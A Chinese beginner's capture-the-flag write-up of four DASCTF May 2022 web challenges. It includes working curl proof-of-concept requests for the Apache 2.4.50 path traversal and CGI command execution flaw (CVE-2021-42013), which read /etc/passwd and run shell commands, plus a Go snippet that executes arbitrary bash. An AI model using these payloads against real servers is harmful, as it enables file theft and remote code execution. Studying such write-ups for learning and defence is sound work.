当前位置:网站首页>2022DASCTF MAY
2022DASCTF MAY
2022-07-23 18:40:00 【偶尔躲躲乌云334】
大佬们都在努力,我个小白也不能落下加油!!!
Power Cookie

打开界面,额用游客的方式登录,点一下
啥都没有,一般这样的题都是抓包改一下,cookie的值或者x-forwarded-for等

提示admin那就是cookie

试了一下,发现cookie admin=1就可以了
魔法浏览器

没啥思路,还是看一下源码扒

hex编码,解码一下,
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
log
然后改一下文件User-Agent

就可以获得flag
getme
打开页面<!-- pwd:/usr/local/apache2/ -->,就这一个目录信息
一个字,蒙!
然后burp扫一下,发现
搜索一下Apache/2.4.50 (Unix),
Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)
漏洞利用poc:
curl -v --path-as-is 目标地址:端口/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
可以查看任意文件
说明存在漏洞
目标服务器开启cgi或者cgid时候,可以命令执行
curl -v --data "echo;命令" '目标地址:端口/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者
GET :
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
POST:
echo Content-Type: text/plain; echo;ls /不知道什么原因,
不返回值,可是看其他wp就是这样,然后就出来目录,接着探索,可能是我burp出错了,调试一下。
hackme

打开界面发现最下面可以点击,那点击进去
发现可能每一个链接中有一个文件,而每一个对应的文件中执行了一条命令。像上面的whoami、pwd等等。

看到这然后,go语言目前还没学到,先简单了解一下,Go语言中用 os/exec 执行命令的五种姿势 - 知乎需要上传个uers文件,然后他就会进行go的解析
package main
import (
"fmt"
"os/exec"
)
func main() {
Command("ls /") 执行的命令
}
func Command(cmd string) error {
c := exec.Command("bash", "-c", cmd)
output, err := c.CombinedOutput()
fmt.Println(string(output))
return err
}

最后发现flag,用cat /flag 代替上面语句中的ls /即可查找到flag。所以这个题看似其实不完全考到go即使不是很懂go语言,考的是go脚本。
后面俩道题,实现是能力,不够,继续学习
边栏推荐
- Principe de l'énergie et méthode variationnelle note 19: principe de l'énergie résiduelle minimale + principe du travail possible
- Educational codeforces round 132 (rated for Div. 2) [competition record]
- Relevant interfaces of [asp.net core] option mode
- [unity project practice] entrustment
- MySQL data recovery - using the data directory
- Eight common SQL misuses in MySQL
- Energy principle and variational method note 15: solution of differential element method
- 【Unity项目实践】关卡解锁
- Energy principle and variational method note 14: summary + problem solving
- 2022/7/21 training summary
猜你喜欢

MySQL data recovery - using the data directory

Energy principle and variational method note 19: minimum complementary energy principle + possible work principle

Energy principle and variational method note 14: summary + problem solving

AtCoder——Subtree K-th Max

2022上半年中国十大收缩行业

When does MySQL use table locks and row locks?

Cannot read properties of null (reading ‘pickAlgorithm‘)

AtCoder B - Pizza

千呼万唤,5G双卡双通到底有多重要?

Atelier macoll - notes de développement de la secte de l'ours 2
随机推荐
Redis坏了怎么办?
Atcoder regular contest 144 [VP record]
能量原理与变分法笔记12:最小势能原理
redis过期key的删除策略[通俗易懂]
Construction deployment scheme of GPS Beidou clock server (NTP network clock system)
Adobe Acrobat两个强大的插件
R language uses dwilcox function to generate Wilcoxon rank sum statistical distribution density function data, and uses plot function to visualize Wilcoxon rank sum statistical distribution density fu
Lecture 9 of project practice -- operation import and export tool
C language leak detection and filling (1)
Educational codeforces round 132 (rated for Div. 2) [competition record]
Debian | Can’t locate Debian/Debhelper/Sequence/germinate.pm in @INC
How should testing cope with the new development mode?
设置ASP.NET MVC站点默认页为指定页面
[development experience] development project trample pit collection [continuous update]
Home NAS server (3) | SSD cache acceleration mechanical hard disk
Leetcode - the nearest sum of three numbers
2022山东养老展,中国国际养老服务业展览会,济南老龄产业展
13. Roman to Integer罗马数字转整数
能量原理与变分法笔记14:总结+问题的求解
2、 MFC windows and messages